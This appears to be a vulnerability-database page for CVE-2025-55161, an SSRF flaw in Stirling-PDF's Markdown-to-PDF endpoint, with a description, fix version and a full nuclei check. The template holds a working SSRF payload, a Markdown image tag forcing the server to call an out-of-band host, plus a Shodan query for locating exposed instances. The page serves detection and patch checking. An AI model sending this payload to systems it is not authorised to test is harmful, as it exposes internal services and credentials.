HexBrain

Browse / CVEs / CVE-2025-55161

CVE-2025-55161· CWE-918

Stirling-PDF SSRF via Markdown

highseverity
8.6CVSS score
2.3%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it

Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.

Impact

Unauthenticated attackers can force the server to make requests to arbitrary URLs through malicious Markdown image tags, potentially exposing internal services and credentials.

Fix

This issue has been patched in version 1.1.0.

How to confirm it

Send: POST /api/v1/convert/markdown/pdf
Positive when: contains(interactsh_protocol, 'dns') and contains(content_type, "application/pdf") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-55161 -u <target>

The full check
id: CVE-2025-55161

info:
  name: Stirling-PDF SSRF via Markdown
  author: beginee
  severity: high
  description: |
    Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.
  impact: |
    Unauthenticated attackers can force the server to make requests to arbitrary URLs through malicious Markdown image tags, potentially exposing internal services and credentials.
  remediation: This issue has been patched in version 1.1.0.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55161
    - https://github.com/Stirling-Tools/Stirling-PDF
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2025-55161
    cwe-id: CWE-918
    epss-score: 0.02196
    epss-percentile: 0.82633
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"Stirling PDF"
  tags: cve,cve2025,ssrf,stirling-pdf,pdf,markdown,oast,oob,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /api/v1/convert/markdown/pdf HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvAfAbBmFpYrQfooK

        ------WebKitFormBoundaryvAfAbBmFpYrQfooK
        Content-Disposition: form-data; name="fileInput"; filename="{{filename}}.md"
        Content-Type: application/octet-stream

        <img src='http://{{interactsh-url}}/' />
        ------WebKitFormBoundaryvAfAbBmFpYrQfooK--

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains(content_type, "application/pdf")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from